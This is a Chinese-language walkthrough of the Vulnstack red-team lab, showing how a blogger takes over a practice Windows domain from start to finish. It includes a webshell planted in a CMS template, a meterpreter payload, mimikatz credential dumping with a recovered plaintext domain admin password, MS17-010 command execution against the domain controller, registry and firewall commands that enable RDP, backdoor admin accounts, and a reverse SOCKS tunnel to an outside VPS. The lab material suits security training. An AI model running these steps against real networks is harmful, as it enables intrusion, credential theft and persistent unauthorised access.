ATT&CK实战系列-红队评估(一)

from ATT&CK实战系列-红队评估(一)

环境搭建

下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

将三个虚拟机启动起来

除了windows 7那个主机，其他都只设置成仅主机模式

windows 7添加两个网卡，一个是仅主机，一个是NAT

然后在windows7上开启phpstudy，报错就重启

渗透流程

目标是拿下域控

外网渗透

在主页发现了后台密码的泄露

进入后台后，在修改模板的地方写一句话木马

测试一下这个马是否在主页触发

然后使用蚁剑连接http://192.168.161.129/yxcms/即可

内网渗透

信息搜集

net user /domain 查看域用户信息

发现存在其他用户，而且有krbtgt，所以猜测存在kerberos

net group "Domain Controllers" /domain 查找域控制器

ping OWA.god.org 定位域控ip

得到域控ip为192.168.52.138

 net group "domain admins" /domain  # 查看域管理员的名字
 net group "domain computers" /domain  # 查看域中的其他主机名

netstat -ano | findstr "3389"  查看是否开启rdp端口

如果没有开启的话，就用以下命令开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后添加一个用户并加入管理员组

net user v2i 123456@qwe /add
net localgroup administrators v2i /add

然后尝试使用rdp登录win7，在kali上使用remmina

但是发现连接不是，可能是被墙了

上线meterpreter

试试上线meterpreter，这里使用bind_tcp

我不知道为什么reverse_tcp一直上线不了。。。。。cs都能上的

msf6 exploit(multi/handler) > use payload windows/x64/meterpreter_bind_tcp
msf6 payload(windows/x64/meterpreter_bind_tcp) > generate -f exe -o bind.exe
msf6 payload(windows/x64/meterpreter_bind_tcp) > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_bind_tcp
payload => windows/x64/meterpreter_bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.161.129
RHOST => 192.168.161.129
msf6 exploit(multi/handler) > run

将bind.exe通过蚁剑上传到目标主机，执行这个文件，就可以上线meterpreter

因为是administrator用户，所以很容易提权到system

然后使用 run post/windows/manage/enable_rdp来打开rdp服务

使用rdesktop连接【不知道为什么remmina连不了】

然后上传mimikaz.exe

meterpreter > upload /home/kali/Desktop/thm_tmp/mimikatz.exe
[*] uploading  : /home/kali/Desktop/thm_tmp/mimikatz.exe -> mimikatz.exe
[*] Uploaded 1.29 MiB of 1.29 MiB (100.0%): /home/kali/Desktop/thm_tmp/mimikatz.exe -> mimikatz.exe
[*] uploaded   : /home/kali/Desktop/thm_tmp/mimikatz.exe -> mimikatz.exe

使用shell，执行chcp 65001消除乱码

在mimikat.exe执行以下命令，来获得管理员的密码

privilege::debug #获取debug特权
sekurlsa::logonpasswords full #导出用户凭证

得到域管理员明文密码:hongrisex@2023

继续探察内网存活主机，这里使用icmp来进行探察

横向渗透

ipconfig后发现内网ip为192.168.52.143

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

但是不太理想，所以就上传fscan进行扫描

fscan64.exe -h 192.168.52.0/24

[+] 192.168.52.141      MS17-010        (Windows Server 2003 3790)
[*] NetBios: 192.168.52.138  [+]DC owa.god.org                   Windows Server 2008 R2 Datacenter 7601 Service Pack 1 
[+] 192.168.52.138      MS17-010        (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] WebTitle: http://192.168.52.141:7002 code:200 len:2632   title:Sentinel Keys License Monitor
[*] WebTitle: http://192.168.52.141:8099 code:403 len:1409   title:The page must be viewed over a secure channel
[+] ftp://192.168.52.141:21:anonymous 
[*] WebTitle: http://192.168.52.143     code:200 len:14749  title:phpStudy 探针 2014

发现另外两个内网主机

192.168.52.141,192.168.52.138

且192.168.52.141存在ms17-010

因为在内网，所以使用meterpreter设置一下路由转发

meterpreter > run autoroute -s 192.168.52.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.52.0/255.255.255.0...
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.161.129
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.52.0       255.255.255.0      Session 1

然后使用auxiliary/admin/smb/ms17_010_command 模块进行命令执行

msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.52.141
RHOSTS => 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command whoami
command => whoami
msf6 auxiliary(admin/smb/ms17_010_command) > run

[*] 192.168.52.141:445    - Target OS: Windows Server 2003 3790
[*] 192.168.52.141:445    - Filling barrel with fish... done
[*] 192.168.52.141:445    - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.52.141:445    -     [*] Preparing dynamite...
[*] 192.168.52.141:445    -             Trying stick 1 (x64)...Miss
[*] 192.168.52.141:445    -             [*] Trying stick 2 (x86)...Boom!
[*] 192.168.52.141:445    -     [+] Successfully Leaked Transaction!
[*] 192.168.52.141:445    -     [+] Successfully caught Fish-in-a-barrel
[*] 192.168.52.141:445    - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.52.141:445    - Reading from CONNECTION struct at: 0x8ccbe370
[*] 192.168.52.141:445    - Built a write-what-where primitive...
[+] 192.168.52.141:445    - Overwrite complete... SYSTEM session obtained!
[+] 192.168.52.141:445    - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.52.141:445    - Getting the command output...
[*] 192.168.52.141:445    - Executing cleanup...
[+] 192.168.52.141:445    - Cleanup was successful
[+] 192.168.52.141:445    - Command completed successfully!
[*] 192.168.52.141:445    - Output for "whoami":

nt authority\system


[*] 192.168.52.141:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

然后可以添加账户，进行连接，但是我觉得没有必要，因为我们已经有了域管理员的密码，所以可以直接远程登录

但是需要开启rdp服务

set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

接下来就需要使用代理转发，来登录远程桌面了

代理转发

因为目标机器存在内网，无法直接连接，所以要进行代理转发

这里使用ew

vps上

./ew_for_linux64  -s rcsocks -l 9998 -e 9999

已控内网主机上

ew_for_win_32.exe -s rssocks -d vpsip -e 9999

kali etc/proxychains4.conf

就相当于是vps监听9998，并把流量发送给9999端口，然后已控内网主机接受vps的9999端口的流量

登录192.168.52.141

kali上执行以下命令，查看3389端口是否开启

proxychains4 nmap -p 3389 192.168.52.143 -sT -Pn #socks协议不支持icmp，所以使用-Pn禁用ping

然后登录远程桌面，用上面得到的域管理员密码

proxychains4 rdesktop   192.168.52.141

登录了之后，就可以收集一些命令和添加一个用户

#添加用户并加入本地管理员组
net user   /add
net localgroup administrators  /add

拿下域控

域控的ip为192.168.52.138

查看他的3389端口是否开启，去用rdp远程登录

可惜是关着的

但是发现445端口是开着的，而且通过fscan扫描是存在ms17-010的

然后使用模块admin/smb/ms17_010_command直接打，发现可以成功，前提是需要设置路由转发

msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(admin/smb/ms17_010_command) > set command whoami
command => whoami
msf6 auxiliary(admin/smb/ms17_010_command) > run

[*] 192.168.52.138:445    - Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] 192.168.52.138:445    - Built a write-what-where primitive...
[+] 192.168.52.138:445    - Overwrite complete... SYSTEM session obtained!
[+] 192.168.52.138:445    - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.52.138:445    - Getting the command output...
[*] 192.168.52.138:445    - Executing cleanup...
[+] 192.168.52.138:445    - Cleanup was successful
[+] 192.168.52.138:445    - Command completed successfully!
[*] 192.168.52.138:445    - Output for "whoami":

nt authority\system


[*] 192.168.52.138:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

然后就是开启rdp服务

set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

并开放防火墙3389端口

set command netsh advfirewall firewall add rule name=\"Remote Desktop\" protocol=TCP dir=in localport=3389 action=allow

然后使用rdp登录，这样要记得登录的是god域

拿下！

总结

这个靶场的流程，就是

• 外网渗透拿到主机shell
• 扫描内网存活主机，并查看是否存在历史漏洞
• 使用内网代理和路由转发来对内网主机进行攻击

应该还有很多思路，这个是比较简单的靶场，继续加油

参考链接

• 实战 ｜ 记一次基础的内网Vulnstack靶机渗透一